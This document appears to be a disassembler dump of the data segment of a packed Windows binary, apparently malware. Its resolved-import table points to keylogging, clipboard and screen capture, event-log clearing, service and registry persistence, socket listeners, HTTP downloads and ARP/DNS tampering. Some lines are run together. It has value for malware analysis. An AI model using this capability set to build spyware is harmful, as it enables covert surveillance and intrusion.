dword_440064 dd 0 ; sub_4252C6+BFw
dword_440068 dd 0 ; sub_4252C6+E0w
align 10h
dword_440070 dd 0FFFFFFFFh ; sub_42511A+26r ...
dword_440074 dd 0 ; sub_4252C6+EAw ...
dword_440078 dd 0 ; sub_4252C6+23r ...
dword_44007C dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_4400AC dd 16Dh ; sub_4252C6+2Er ...
dword_4400B0 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_4400E8 dd 2 dup(0) dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_440248 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_4264AA+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_4403A4 dd offset off_428D50 ; DATA XREF: .XPack0:00428F2Co
; .XPack0:00429004o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_4403BC dd offset off_428D50 ; DATA XREF: .XPack0:off_428DE0o
; .XPack0:00428E20o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_4403DC dd offset off_428D50 ; DATA XREF: .XPack0:off_428E28o
; .XPack0:00428E6Co ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_4403FC dd offset off_428D50 ; DATA XREF: .XPack0:off_428E74o
; .XPack0:00428EB8o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_440420 dd offset off_428D50 ; DATA XREF: .XPack0:off_428EC0o
; .XPack0:00428EFCo
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_424DDC
dd 21h dup(0)
dword_4404C0 dd 0 byte_4404C4 db 0 ; DATA XREF: sub_40111A+62o
; sub_40121E+23Eo ...
align 4
dword_4404C8 dd 0 ; sub_401AA1+AB3o ...
dd 5 dup(0)
dword_4404E0 dd 0 ; sub_415E4D+60r
dd 2D9h dup(0)
dword_441048 dd 0 ; sub_401AA1+5E5Dr ...
dd 7Fh dup(0)
dword_441248 dd 0 ; sub_40B38F+3Aw ...
dword_44124C dd 0 ; sub_40B38F+40w ...
dword_441250 dd 0 ; sub_40B38F+34r ...
dword_441254 dd 0 ; sub_4017BF+B9w ...
dword_441258 dd 0 ; sub_40B56A+2Aw ...
dword_44125C dd 0 ; sub_40121E+441w ...
byte_441260 db 0 ; DATA XREF: sub_4017BF+91o
; sub_401AA1+5CB1r ...
align 4
dd 113Bh dup(0)
dword_445750 dd 473Ch dup(0) db 0
byte_457441 db 3 dup(0) ; DATA XREF: .XPack0:off_43B4BCo
dd 0E306h dup(0)
dword_49005C dd 937Eh dup(0) db 0
byte_4B4E55 db 3 dup(0) ; DATA XREF: .XPack0:off_433EA8o
dd 0FBh dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: .XPack0:off_43B328o
dd 3E7Fh dup(0)
dword_4C4C44 dd 2501h dup(0) dword_4CE048 dd 0 ; sub_40B254+13o ...
dword_4CE04C dd 0 ; sub_401AA1:loc_404433r ...
dword_4CE050 dd 0 dword_4CE054 dd 20h dup(0) ; sub_40121E+50Do ...
dword_4CE0D4 dd 10h dup(0) dword_4CE114 dd 24h dup(0) dword_4CE1A4 dd 0 ; sub_40121E+524w ...
dword_4CE1A8 dd 0 dd 2 dup(0)
byte_4CE1B4 db 0 ; DATA XREF: sub_401925+28r
; sub_401925+30o
align 4
dword_4CE1B8 dd 0 ; sub_40121E+4E2r ...
dword_4CE1BC dd 0 ; sub_401AA1+869r
dword_4CE1C0 dd 0 ; .XPack0:0040AE49o ...
dword_4CE1C4 dd 0 ; resolved to->GDI32.DeleteDC ; sub_4097DE+4EBr
dword_4CE1C8 dd 0 ; resolved to->KERNEL32.Module32First ; sub_419D3A+156r
dword_4CE1CC dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_4097DE+880r ...
dword_4CE1D0 dd 0 ; sub_4097DE+A43r ...
dword_4CE1D4 dd 0 ; sub_4097DE+A13r ...
dword_4CE1D8 dd 0 ; resolved to->GDI32.SelectObject ; sub_4097DE+4DBr
dword_4CE1DC dd 0 ; resolved to->USER32.GetKeyState ; sub_4097DE+234r ...
dword_4CE1E0 dd 0 ; sub_4097DE+A3Br ...
dword_4CE1E4 dd 0 ; resolved to->ADVAPI32.OpenServiceA ; sub_4097DE+3C7r ...
dword_4CE1E8 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_41B0A1+11Er
dword_4CE1EC dd 0 ; resolved to->ADVAPI32.StartServiceA ; sub_4097DE+3CFr ...
dword_4CE1F0 dd 0 ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_419332+ADr
dword_4CE1F4 dd 0 ; resolved to->WS2_32.__WSAFDIsSet ; sub_40FDBE+115r ...
dword_4CE1F8 dd 0 ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_4097DE+D2r ...
dword_4CE1FC dd 0 ; sub_4097DE+A06r ...
dword_4CE200 dd 0 ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4097DE+3E7r ...
dword_4CE204 dd 0 ; resolved to->WININET.InternetCrackUrlA ; sub_4097DE+8ACr ...
dword_4CE208 dd 0 ; resolved to->ADVAPI32.RegQueryValueExA ; sub_4097DE+2F0r
dword_4CE20C dd 0 ; resolved to->WININET.InternetOpenUrlA ; sub_4097DE+8A4r ...
dword_4CE210 dd 0 ; resolved to->KERNEL32.QueryPerformanceFrequencydword_4CE214 dd 0 ; resolved to->WININET.InternetReadFile ; sub_4097DE+8B4r ...
dword_4CE218 dd 0 ; resolved to->WS2_32.WSAAsyncSelect ; sub_4097DE+6D0r ...
dword_4CE21C dd 0 ; resolved to->KERNEL32.Process32Next ; sub_4097DE+CAr ...
dword_4CE220 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_414050+11Ar
dword_4CE224 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_4097DE+A95w ...
dword_4CE228 dd 0 ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4097DE+F2r
dword_4CE22C dd 0 ; resolved to->GDI32.GetDIBColorTable ; sub_4097DE+4D3r
dword_4CE230 dd 0 ; resolved to->WS2_32.ntohl ; sub_40C0F0+20r ...
dword_4CE234 dd 0 ; sub_4097DE+A33r
dword_4CE238 dd 0 ; resolved to->WS2_32.ntohs ; sub_4097DE+754r ...
dword_4CE23C dd 0 dword_4CE240 dd 0 ; sub_40DB39+A7r
dword_4CE244 dd 0 ; resolved to->WININET.InternetGetConnectedState ; sub_4097DE+86Dr
dword_4CE248 dd 0 ; resolved to->USER32.ExitWindowsEx ; sub_40B496+16o ...
dword_4CE24C dd 0 ; sub_4097DE+A1Br ...
dword_4CE250 dd 0 ; resolved to->ADVAPI32.ControlService ; sub_4097DE+3D7r ...
dword_4CE254 dd 0 ; resolved to->ADVAPI32.DeleteService ; sub_4097DE+3DFr ...
dword_4CE258 dd 0 ; sub_4097DE+C8Cr
dword_4CE25C dd 0 ; resolved to->WS2_32.getpeername ; sub_41146C+D0r
dword_4CE260 dd 0 ; resolved to->WS2_32.WSACleanup ; sub_40111A+23r ...
dword_4CE264 dd 0 ; resolved to->GDI32.DeleteObjectdword_4CE268 dd 0 ; sub_4097DE+A4Br ...
dword_4CE26C dd 0 ; resolved to->ADVAPI32.RegDeleteValueA ; sub_4097DE+2B2w ...
dword_4CE270 dd 0 ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_4097DE+DAr ...
dword_4CE274 dd 0 ; resolved to->SHELL32.ShellExecuteA ; sub_401AA1+7798r ...
dword_4CE278 dd 0 ; resolved to->WS2_32.WSAStartup ; sub_401AA1+5028r ...
dword_4CE27C dd 0 ; resolved to->WININET.HttpSendRequestA ; sub_4097DE+890r ...
dword_4CE280 dd 0 ; sub_4097DE+A23r
dword_4CE284 dd 0 ; sub_4097DE+C3Fr ...
dword_4CE288 dd 0 ; resolved to->ADVAPI32.OpenEventLogA ; sub_418B6C+47r
dword_4CE28C dd 0 ; resolved to->USER32.GetForegroundWindow ; sub_412911+40r ...
dword_4CE290 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_4097DE+92Er ...
dword_4CE294 dd 0 dword_4CE298 dd 0 ; resolved to->ADVAPI32.ClearEventLogA ; sub_418B6C+4Fr
dword_4CE29C dd 0 ; resolved to->WS2_32.WSAGetLastError ; sub_4097DE+6E8r ...
dword_4CE2A0 dd 0 ; resolved to->WININET.InternetOpenA ; sub_4097DE+873r
dword_4CE2A4 dd 0 ; resolved to->USER32.GetWindowTextA ; sub_4097DE+23Cr ...
dword_4CE2A8 dd 0 ; resolved to->USER32.IsWindow ; sub_4097DE+1C2r
dword_4CE2AC dd 0 ; resolved to->WS2_32.getsockname ; sub_401AA1+59D5r ...
dword_4CE2B0 dd 0 ; resolved to->WS2_32.connect ; sub_401AA1+50B2r ...
dword_4CE2B4 dd 0 ; resolved to->WS2_32.WSAIoctl ; sub_4097DE+6DCr ...
dword_4CE2B8 dd 0 ; sub_4097DE:loc_40A0D7w ...
dword_4CE2BC dd 0 ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_4097DE+28Bw ...
dword_4CE2C0 dd 0 ; resolved to->WS2_32.gethostbyaddr ; sub_4097DE+69Fw ...
dword_4CE2C4 dd 0 ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_4097DE+341r ...
dword_4CE2C8 dd 0 ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_4097DE+3EFr ...
dword_4CE2CC dd 0 ; sub_4097DE+C37r ...
dword_4CE2D0 dd 0 ; resolved to->WININET.HttpOpenRequestA ; sub_4097DE+888r ...
dword_4CE2D4 dd 0 ; resolved to->USER32.GetAsyncKeyState ; sub_4097DE+227r ...
dword_4CE2D8 dd 0 ; resolved to->USER32.OpenClipboard ; sub_4097DE+1D2r ...
dword_4CE2DC dd 0 ; resolved to->WININET.InternetConnectA ; sub_4097DE+898r ...
dword_4CE2E0 dd 0 ; resolved to->WSOCK32.recvfrom ; sub_4097DE+774r ...
dword_4CE2E4 dd 0 ; resolved to->ADVAPI32.RegCloseKey ; sub_4097DE+2BFw ...
dword_4CE2E8 dd 0 ; resolved to->WSOCK32.setsockopt ; sub_4097DE+79Cr ...
dword_4CE2EC dd 0 ; resolved to->ADVAPI32.OpenProcessToken ; sub_4097DE+334r ...
dword_4CE2F0 dd 0 ; resolved to->WS2_32.select ; sub_4097DE+784r ...
dword_4CE2F4 dd 0 ; resolved to->GDI32.CreateDCA ; sub_4097DE+4AEr
dword_4CE2F8 dd 0 ; resolved to->USER32.GetClipboardData ; sub_4097DE+1DAr ...
dword_4CE2FC dd 0 ; resolved to->ADVAPI32.OpenSCManagerA ; sub_4097DE+3BAr ...
dword_4CE300 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4CE304 dd 0 ; resolved to->WS2_32.ntohl ; sub_4097DE+748r ...
dword_4CE308 dd 0 ; resolved to->WS2_32.ntohs ; sub_401AA1+5064r ...
dword_4CE30C dd 0 ; resolved to->KERNEL32.Process32First ; sub_4097DE+C2r ...
dword_4CE310 dd 0 ; resolved to->GDI32.GetDeviceCaps ; sub_4097DE+4CBr
dword_4CE314 dd 0 ; resolved to->USER32.FindWindowA ; sub_4097DE+1BAr ...
dword_4CE318 dd 0 ; sub_4097DE+A5Br ...
dword_4CE31C dd 0 ; resolved to->WS2_32.gethostname ; sub_4097DE+7ACr ...
dword_4CE320 dd 0 ; resolved to->WSOCK32.recv ; sub_401AA1+50C7r ...
dword_4CE324 dd 0 ; sub_4097DE+C47r ...
dword_4CE328 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_4097DE+BAr ...
dword_4CE32C dd 0 ; resolved to->ADVAPI32.RegSetValueExA ; sub_4097DE+298w ...
dword_4CE330 dd 0 ; resolved to->WS2_32.listen ; sub_4097DE+78Cr ...
dword_4CE334 dd 0 ; resolved to->WS2_32.bind ; sub_4097DE+77Cr ...
dword_4CE338 dd 0 dword_4CE33C dd 0 ; resolved to->WININET.InternetCloseHandle ; sub_4169AB+4C9r ...
dword_4CE340 dd 0 dword_4CE344 dd 0 ; sub_4097DE+C22r ...
dword_4CE348 dd 0 ; resolved to->WS2_32.inet_addr ; sub_401AA1+5E8Cr ...
dword_4CE34C dd 0 ; resolved to->GDI32.CreateDIBSection ; sub_4097DE+4BBr
dword_4CE350 dd 0 ; resolved to->GDI32.BitBlt ; sub_4097DE+4E3r
dword_4CE354 dd 0 ; resolved to->GDI32.CreateCompatibleDC ; sub_4097DE+4C3r
dword_4CE358 dd 0 ; resolved to->WS2_32.send ; sub_401AA1+50E4r ...
dword_4CE35C dd 0 ; resolved to->USER32.CloseClipboard ; sub_4097DE+1E2r ...
dword_4CE360 dd 0 ; sub_4097DE+A53r ...
dword_4CE364 dd 0 ; resolved to->USER32.SendMessageA ; sub_4097DE+1ADr ...
dword_4CE368 dd 0 ; resolved to->KERNEL32.GetDriveTypeA ; sub_4097DE+E2r ...
dword_4CE36C dd 0 ; resolved to->WS2_32.sendto ; sub_4097DE+764r ...
dword_4CE370 dd 0 ; sub_4097DE+B5Fr
dword_4CE374 dd 0 ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_419CCF+55r
dword_4CE378 dd 0 ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_4097DE+2D3r ...
dword_4CE37C dd 0 ; resolved to->SHELL32.SHChangeNotifydword_4CE380 dd 0 ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40A7FD+8Fr
dword_4CE384 dd 0 ; resolved to->IPHLPAPI.GetIpNetTable ; sub_4097DE+AE6r ...
dword_4CE388 dd 0 ; resolved to->WS2_32.socket ; sub_401AA1+5043r ...
dword_4CE38C dd 0 ; resolved to->WS2_32.gethostbyname ; sub_401AA1+7744r ...
dword_4CE390 dd 0 ; sub_4097DE+C2Fr ...
dword_4CE394 dd 0 ; resolved to->WS2_32.inet_ntoa ; sub_401AA1+59FBr ...
dword_4CE398 dd 0 ; sub_4097DE+A2Br ...
dword_4CE39C dd 0 ; resolved to->WS2_32.accept ; sub_4097DE+794r ...
dword_4CE3A0 dd 0 ; resolved to->WS2_32.closesocket ; sub_4017BF+D0r ...
dword_4CE3A4 dd 0 ; resolved to->WS2_32.ioctlsocket ; sub_4097DE+70Cr ...
dword_4CE3A8 dd 0 ; sub_4097DE+B57r ...
dword_4CE3AC dd 0 ; resolved to->WS2_32.WSASocketA ; sub_4097DE+6C4r ...
dword_4CE3B0 dd 0 ; sub_4097DE+B4Ar ...
dword_4CE3B4 dd 0 ; resolved to->KERNEL32.SetErrorMode ; sub_4097DE+31w ...
dword_4CE3B8 dd 0 ; resolved to->USER32.DestroyWindow ; sub_4097DE+1CAr
dword_4CE3BC dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_4097DE+93Br ...
dword_4CE3C0 dd 0 ; resolved to->KERNEL32.SearchPathA ; sub_4097DE+EAr ...
dword_4CE3C4 dd 0 ; sub_4097DE+12Bw ...
dword_4CE3C8 dd 0 ; sub_40A49A+1Cr
dword_4CE3CC dd 0 ; sub_4097DE:loc_409A33w ...
dword_4CE3D0 dd 0 ; sub_40A49A+50r
dword_4CE3D4 dd 0 ; sub_401AA1+4448r ...
dword_4CE3D8 dd 0 ; sub_40A49A+84r
dword_4CE3DC dd 0 ; sub_40A49A:loc_40A54Ar
dword_4CE3E0 dd 0 ; sub_40A49A+B8r
dword_4CE3E4 dd 0 ; sub_40A49A:loc_40A57Er
dword_4CE3E8 dd 0 ; sub_40A49A+ECr
dword_4CE3EC dd 0 ; sub_4097DE+8EFw ...
dword_4CE3F0 dd 0 ; sub_40A49A+120r
dword_4CE3F4 dd 0 ; sub_4097DE:loc_40A132w ...
dword_4CE3F8 dd 0 ; sub_40A49A+154r
dword_4CE3FC dd 0 ; sub_4097DE:loc_40A24Ew ...
dword_4CE400 dd 0 ; sub_40A49A+188r
dword_4CE404 dd 0 ; sub_40A49A:loc_40A64Er
dword_4CE408 dd 0 ; sub_40A49A+1BCr
dword_4CE40C dd 0 ; sub_40A49A:loc_40A682r
dword_4CE410 dd 0 ; sub_40A49A+1F0r
dword_4CE414 dd 0 ; sub_40A49A:loc_40A6B6r
dword_4CE418 dd 0 ; sub_40A49A+224r
dword_4CE41C dd 0 ; sub_40A49A:loc_40A6EAr
dword_4CE420 dd 0 ; sub_40A49A+258r
dword_4CE424 dd 0 ; sub_40A49A:loc_40A71Er
dword_4CE428 dd 0 ; sub_40A49A+28Cr
dword_4CE42C dd 0 ; sub_40A49A:loc_40A752r
dword_4CE430 dd 0 ; sub_40A49A+2C0r
dword_4CE434 dd 4 dup(0) byte_4CE444 db 0 ; DATA XREF: sub_40B153+64r
; sub_40B153+92w
align 4
dword_4CE448 dd 0 ; sub_40C138+92w ...
dword_4CE44C dd 0 ; sub_40C485+D9w ...
dd 7FEh dup(0)
dword_4D0448 dd 6 dup(0) ; sub_40C271+129o ...
dword_4D0460 dd 0 ; sub_40BC0C+34Do
dword_4D0464 dd 0 ; sub_40BC0C+35Fr
dword_4D0468 dd 0 dword_4D046C dd 0 ; sub_40BC0C+320r
dword_4D0470 dd 20h dup(0) ; sub_40BC0C+307o
dword_4D04F0 dd 0 dword_4D04F4 dd 0 ; sub_40BC0C+311w
dword_4D04F8 dd 0 align 10h
dword_4D0500 dd 0 ; sub_40BC0C+FEo
dword_4D0504 dd 41h dup(0) dword_4D0608 dd 41h dup(0) dword_4D070C dd 0 ; sub_40BC0C+110r
dword_4D0710 dd 0 dword_4D0714 dd 0 ; sub_40BC0C+D1r
dword_4D0718 dd 20h dup(0) ; sub_40BC0C+B7o
dword_4D0798 dd 0 dword_4D079C dd 0 ; sub_40BC0C+C1w
dword_4D07A0 dd 0 align 8
dword_4D07A8 dd 0 ; sub_40BC0C+226o
dword_4D07AC dd 41h dup(0) dword_4D08B0 dd 41h dup(0) dword_4D09B4 dd 0 ; sub_40BC0C+238r
dword_4D09B8 dd 0 dword_4D09BC dd 0 ; sub_40BC0C+1F9r
dword_4D09C0 dd 20h dup(0) ; sub_40BC0C+1DFo
dword_4D0A40 dd 0 dword_4D0A44 dd 0 ; sub_40BC0C+1E9w
dword_4D0A48 dd 0 align 10h
dword_4D0A50 dd 0 ; sub_40BC0C+467o
dword_4D0A54 dd 0A2h dup(0) dword_4D0CDC dd 41h dup(0) dword_4D0DE0 dd 0 ; sub_40BC0C+41Ar
align 8
dword_4D0DE8 dd 0 ; sub_40BC0C+479r
dword_4D0DEC dd 0 dword_4D0DF0 dd 0 dword_4D0DF4 dd 0 dd 0
dword_4D0DFC dd 0 dword_4D0E00 dd 0 ; sub_40B85E+31r ...
dword_4D0E04 dd 0 ; sub_40B85E+25r ...
dword_4D0E08 dd 80h dup(0) dword_4D1008 dd 2 dup(0) dword_4D1010 dd 0 dword_4D1014 dd 0 ; sub_40EA40+2D9o
dword_4D1018 dd 2 dup(0) dword_4D1020 dd 0 ; sub_40F219+BCo ...
dword_4D1024 dd 0 ; sub_40F219+DAr ...
dword_4D1028 dd 0 ; sub_40F219+CFr ...
dword_4D102C dd 0 ; sub_40F219+95o ...
dword_4D1030 dd 0 ; sub_40F1CE+3Dr ...
dword_4D1034 dd 0 ; sub_40F3EE+10w ...
dword_4D1038 dd 0 ; sub_40F405+27Cw
dword_4D103C dd 0 ; sub_40FCA7+51r ...
dd 0
dword_4D1044 dd 0 dd 0
dword_4D104C dd 0 ; sub_413135+9o
byte_4D1050 db 0 ; DATA XREF: sub_413C65+1C1w
; sub_413C65+2C0o
align 2
word_4D1052 dw 0 ; DATA XREF: sub_413C65+1D1w
word_4D1054 dw 0 ; DATA XREF: sub_413C65+1D7w
word_4D1056 dw 0 ; DATA XREF: sub_413C65+1DEw
byte_4D1058 db 0 ; DATA XREF: sub_413C65+1E5w
byte_4D1059 db 0 ; DATA XREF: sub_413C65+1ECw
word_4D105A dw 0 ; DATA XREF: sub_413C65+1F2w
dword_4D105C dd 0 ; sub_413C65+23Ew
dword_4D1060 dd 0 byte_4D1064 db 0 ; DATA XREF: sub_413C65+258w
byte_4D1065 db 0 ; DATA XREF: sub_413C65+26Bw
word_4D1066 dw 0 ; DATA XREF: sub_413C65+283w
word_4D1068 dw 0 ; DATA XREF: sub_413C65+292w
word_4D106A dw 0 ; DATA XREF: sub_413C65+28Aw
dword_4D106C dd 101h dup(0) dword_4D1470 dd 80h dup(0) ; sub_401AA1:loc_404A6Eo ...
byte_4D1670 db 0 ; DATA XREF: sub_4154EE+19Fw
; sub_4154EE+278o
align 2
word_4D1672 dw 0 ; DATA XREF: sub_4154EE+1ACw
word_4D1674 dw 0 ; DATA XREF: sub_4154EE+1B6w
word_4D1676 dw 0 ; DATA XREF: sub_4154EE+1BFw
byte_4D1678 db 0 ; DATA XREF: sub_4154EE+1C6w
byte_4D1679 db 0 ; DATA XREF: sub_4154EE+1CDw
word_4D167A dw 0 ; DATA XREF: sub_4154EE+1D4w
dword_4D167C dd 0 dword_4D1680 dd 0 word_4D1684 dw 0 ; DATA XREF: sub_4154EE+242w
word_4D1686 dw 0 ; DATA XREF: sub_4154EE+22Aw
word_4D1688 dw 0 ; DATA XREF: sub_4154EE+254w
word_4D168A dw 0 ; DATA XREF: sub_4154EE+1F5w
dword_4D168C dd 100h dup(0) dword_4D1A8C dd 0 ; sub_401AA1+2F16r ...
dd 0
byte_4D1A94 db 0 ; DATA XREF: sub_4159E0+22Ao
; sub_4159E0+239w ...
byte_4D1A95 db 0 ; DATA XREF: sub_4159E0+24Dw
word_4D1A96 dw 0 ; DATA XREF: sub_4159E0+27Ew
word_4D1A98 dw 0 ; DATA XREF: sub_4159E0+265w
; sub_4159E0:loc_415D99w
word_4D1A9A dw 0 ; DATA XREF: sub_4159E0+284w
byte_4D1A9C db 0 ; DATA XREF: sub_4159E0+271w
byte_4D1A9D db 0 ; DATA XREF: sub_4159E0+246w
word_4D1A9E dw 0 ; DATA XREF: sub_4159E0+3D9w
; sub_4159E0+403w
dword_4D1AA0 dd 0 ; sub_4159E0+383r
dword_4D1AA4 dd 0 word_4D1AA8 dw 0 ; DATA XREF: sub_4159E0+37Dw
; sub_4159E0+3CFo
word_4D1AAA dw 0 ; DATA XREF: sub_4159E0+31Ew
; sub_4159E0+343r ...
dword_4D1AAC dd 0 ; sub_4159E0+3C0w
dword_4D1AB0 dd 0 ; sub_4159E0+394w ...
byte_4D1AB4 db 0 ; DATA XREF: sub_4159E0+2FAr
; sub_4159E0+308w
byte_4D1AB5 db 0 ; DATA XREF: sub_4159E0+2C4w
; sub_4159E0+38Dw ...
word_4D1AB6 dw 0 ; DATA XREF: sub_4159E0+2D2w
word_4D1AB8 dw 0 ; DATA XREF: sub_4159E0+3E0w
; sub_4159E0+411w
word_4D1ABA dw 0 ; DATA XREF: sub_4159E0+317w
word_4D1ABC dw 0 ; DATA XREF: sub_4159E0+349w
; sub_4159E0+419o
word_4D1ABE dw 0 ; DATA XREF: sub_4159E0+358w
; sub_4159E0+3F0w
dword_4D1AC0 dd 0 dd 2 dup(0)
dword_4D1ACC dd 0 ; sub_4159E0+3FEo
dword_4D1AD0 dd 0 byte_4D1AD4 db 0 ; DATA XREF: sub_4159E0+32Aw
byte_4D1AD5 db 0 ; DATA XREF: sub_4159E0+330w
word_4D1AD6 dw 0 ; DATA XREF: sub_4159E0+33Dw
dword_4D1AD8 dd 6 dup(0) dword_4D1AF0 dd 0 ; sub_4159E0+422r
align 8
dword_4D1AF8 dd 100h dup(0) ; sub_4159E0+465o
dword_4D1EF8 dd 896h dup(0) ; sub_415FE5o ...
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: .XPack0:off_43A7F8o
dd 769h dup(0)
dword_4D5EF8 dd 0Eh dup(0) ; sub_415FE5+Eo ...
dword_4D5F30 dd 80h dup(0) dword_4D6130 dd 200h dup(0) ; sub_417805+DDo ...
dword_4D6930 dd 200h dup(0) ; sub_417805+F4o ...
dword_4D7130 dd 0 ; resolved to->NTDLL.RtlCreateQueryDebugBuffer ; sub_41767C+94r
dword_4D7134 dd 0 ; resolved to->NTDLL.RtlRunDecodeUnicodeString ; sub_417AD6+55r ...
dword_4D7138 dd 0 ; resolved to->NTDLL.RtlDestroyQueryDebugBuffer ; sub_41767C+D6r ...
dword_4D713C dd 0 ; resolved to->NTDLL.ZwQuerySystemInformation ; sub_41767C+35r ...
dword_4D7140 dd 80h dup(0) dword_4D7340 dd 0 ; resolved to->NTDLL.RtlQueryProcessDebugInformation ; sub_41767C+A2r
dword_4D7344 dd 0 ; sub_4174AA+103r ...
dword_4D7348 dd 0 ; sub_4179A9+107w
dword_4D734C dd 0 ; sub_4179A9+10Dw ...
dword_4D7350 dd 0 ; sub_417AD6+4Fr
align 8
dword_4D7358 dd 0 ; sub_417DC2:loc_417F41w ...
dword_4D735C dd 0 ; sub_417C86+12o ...
dd 0
dword_4D7364 dd 0 ; sub_417F61+3Ar
dd 7Fh dup(0)
dword_4D7564 dd 0 ; sub_417F61+4Aw
dd 1944h dup(0)
dword_4DDA78 dd 0 ; sub_4187D7+6Ao
dword_4DDA7C dd 7Fh dup(0) ; sub_417C86+3Co
dword_4DDC78 dd 18h dup(0) ; sub_418E7F+131o ...
dword_4DDCD8 dd 80h dup(0) ; sub_419C11+A5o
dword_4DDED8 dd 0 ; sub_4191FC+4Dr ...
align 10h
dword_4DDEE0 dd 18h dup(0) ; sub_419ADD+12Do
dword_4DDF40 dd 80h dup(0) ; sub_41913D+7Do ...
byte_4DE140 db 0 ; DATA XREF: sub_4191FC+29r
; sub_4191FC+34w
align 8
dword_4DE148 dd 80h dup(0) ; sub_419453+88o ...
dword_4DE348 dd 80h dup(0) ; sub_418D56+50o ...
dword_4DE548 dd 0 ; sub_41A181+54r ...
dword_4DE54C dd 0 ; sub_41A181+37r ...
dword_4DE550 dd 0 ; sub_41A2D6+83o
dword_4DE554 dd 0 ; sub_41A2D6+11Bw
dword_4DE558 dd 0Dh dup(0) ; sub_41A2D6:loc_41A413o
dword_4DE58C dd 0 ; sub_41A181+ECr ...
dword_4DE590 dd 0Dh dup(0) dword_4DE5C4 dd 0 ; sub_41D88C:loc_41D908w ...
dword_4DE5C8 dd 0 ; sub_41E112:loc_41E1ACw ...
dword_4DE5CC dd 0 dword_4DE5D0 dd 0A28h dword_4DE5D4 dd 501h dword_4DE5D8 dd 5 dword_4DE5DC dd 1 dword_4DE5E0 dd 1 ; sub_42364E+91w
